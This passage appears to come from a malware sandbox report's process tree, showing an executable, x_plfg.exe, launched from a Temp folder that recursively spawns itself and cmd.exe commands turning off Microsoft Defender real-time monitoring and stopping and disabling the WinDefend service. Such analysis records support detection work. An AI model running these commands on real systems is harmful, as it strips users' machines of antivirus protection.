        
        PID:20072
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        66⤵
        
        PID:17412
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        67⤵
        
        PID:24572
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        68⤵
        
        PID:34328
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        69⤵
        
        PID:36684
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        64⤵
        
        PID:39088
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        65⤵
        
        PID:41756
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        62⤵
        
        PID:18092
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        63⤵
        
        PID:18928
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        64⤵
        
        PID:19992
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        65⤵
        
        PID:23352
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        66⤵
        
        PID:30400
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        67⤵
        
        PID:33852
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        64⤵
        
        PID:41476
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        62⤵
        
        PID:39432
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        63⤵
        
        PID:42156
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        60⤵
        
        PID:17976
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        61⤵
        
        PID:19852
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        62⤵
        
        PID:21208
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        63⤵
        
        PID:26744
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        60⤵
        
        PID:39396
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        61⤵
        
        PID:42220
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        58⤵
        
        PID:17896
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        59⤵
        
        PID:19144
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        60⤵
        
        PID:20468
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        61⤵
        
        PID:23268
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        62⤵
        
        PID:30012
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        63⤵
        
        PID:32748
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        60⤵
        
        PID:42052
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        58⤵
        
        PID:39080
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        59⤵
        
        PID:42000
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        56⤵
        
        PID:17600
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        57⤵
        
        PID:20520
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        58⤵
        
        PID:22480
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        59⤵
        
        PID:21424
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        60⤵
        
        PID:38460
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        61⤵
        
        PID:42816
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        56⤵
        
        PID:38396
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        57⤵
        
        PID:41292
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        54⤵
        
        PID:17480
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        55⤵
        
        PID:18544
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        56⤵
        
        PID:19932
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        57⤵
        
        PID:24320
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        58⤵
        
        PID:33140
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        59⤵
        
        PID:35276
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        56⤵
        
        PID:41436
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        54⤵
        
        PID:38296
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        55⤵
        
        PID:41028
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        52⤵
        
        PID:17380
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        53⤵
        
        PID:17284
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        54⤵
        
        PID:19560
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        55⤵
        
        PID:21676
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        56⤵
        
        PID:23952
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        57⤵
        
        PID:26736
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        54⤵
        
        PID:40764
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        52⤵
        
        PID:38104
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        53⤵
        
        PID:41932
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        50⤵
        
        PID:17212
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        51⤵
        
        PID:20016
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        52⤵
        
        PID:21696
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        53⤵
        
        PID:24744
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        54⤵
        
        PID:34276
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        55⤵
        
        PID:37448
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        50⤵
        
        PID:37756
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        51⤵
        
        PID:40388
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        48⤵
        
        PID:17008
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        49⤵
        
        PID:19288
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        50⤵
        
        PID:20804
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        51⤵
        
        PID:23708
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        52⤵
        
        PID:31220
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        53⤵
        
        PID:33900
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        50⤵
        
        PID:42712
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        48⤵
        
        PID:37112
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        49⤵
        
        PID:39536
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        46⤵
        
        PID:16844
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        47⤵
        
        PID:18872
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        48⤵
        
        PID:20360
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        49⤵
        
        PID:22728
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        50⤵
        
        PID:28784
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        51⤵
        
        PID:32476
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        48⤵
        
        PID:41596
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        46⤵
        
        PID:36992
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        47⤵
        
        PID:39856
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        44⤵
        
        PID:16772
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        45⤵
        
        PID:18312
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        46⤵
        
        PID:19348
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        47⤵
        
        PID:21616
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        48⤵
        
        PID:23876
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        49⤵
        
        PID:26636
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        46⤵
        
        PID:40512
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        44⤵
        
        PID:23768
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        45⤵
        
        PID:29772
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        42⤵
        
        PID:16576
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        43⤵
        
        PID:18076
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        44⤵
        
        PID:18916
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        45⤵
        
        PID:20512
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        46⤵
        
        PID:21804
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        47⤵
        
        PID:24816
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        48⤵
        
        PID:34948
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        49⤵
        
        PID:37288
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        44⤵
        
        PID:40456
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        42⤵
        
        PID:36580
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        43⤵
        
        PID:38680
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        40⤵
        
        PID:16396
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        41⤵
        
        PID:17648
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        42⤵
        
        PID:18812
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        43⤵
        
        PID:20860
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        44⤵
        
        PID:22268
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        45⤵
        
        PID:25088
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        46⤵
        
        PID:36384
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        47⤵
        
        PID:38544
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        42⤵
        
        PID:40212
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        40⤵
        
        PID:36428
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        41⤵
        
        PID:38508
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        38⤵
        
        PID:16372
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        39⤵
        
        PID:17320
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        40⤵
        
        PID:18276
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        41⤵
        
        PID:21316
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        42⤵
        
        PID:23024
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        43⤵
        
        PID:26244
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        44⤵
        
        PID:41008
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        40⤵
        
        PID:39440
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        41⤵
        
        PID:42748
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        38⤵
        
        PID:36412
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        39⤵
        
        PID:38616
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        36⤵
        
        PID:16212
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        37⤵
        
        PID:16860
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        38⤵
        
        PID:17908
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        39⤵
        
        PID:19168
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        40⤵
        
        PID:20216
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        41⤵
        
        PID:22548
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        42⤵
        
        PID:28344
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        43⤵
        
        PID:31036
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        40⤵
        
        PID:41468
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        38⤵
        
        PID:39288
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        36⤵
        
        PID:36344
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        37⤵
        
        PID:38188
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        34⤵
        
        PID:16044
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        35⤵
        
        PID:16988
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        36⤵
        
        PID:17956
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        37⤵
        
        PID:21032
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        38⤵
        
        PID:23112
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        39⤵
        
        PID:26072
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        40⤵
        
        PID:41800
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        36⤵
        
        PID:38804
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        34⤵
        
        PID:36188
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        35⤵
        
        PID:39664
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        32⤵
        
        PID:15884
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        33⤵
        
        PID:16868
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        34⤵
        
        PID:17820
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        35⤵
        
        PID:19152
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        36⤵
        
        PID:20780
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        37⤵
        
        PID:24032
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        38⤵
        
        PID:32184
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        39⤵
        
        PID:34472
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        36⤵
        
        PID:42696
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        34⤵
        
        PID:39040
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        32⤵
        
        PID:35792
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        33⤵
        
        PID:39636
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        30⤵
        
        PID:15744
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        31⤵
        
        PID:16720
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        32⤵
        
        PID:17628
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        33⤵
        
        PID:19056
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        34⤵
        
        PID:20916
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        35⤵
        
        PID:25556
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        36⤵
        
        PID:30232
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        37⤵
        
        PID:41732
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        34⤵
        
        PID:42808
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        32⤵
        
        PID:38696
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        30⤵
        
        PID:35636
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        31⤵
        
        PID:37708
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        28⤵
        
        PID:15512
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        29⤵
        
        PID:16452
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        30⤵
        
        PID:17276
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        31⤵
        
        PID:17576
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        32⤵
        
        PID:19236
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        33⤵
        
        PID:23492
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
        34⤵
        
        PID:30380
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        35⤵
        
        PID:32976
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        32⤵
        
        PID:40480
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        30⤵
        
        PID:37964
        
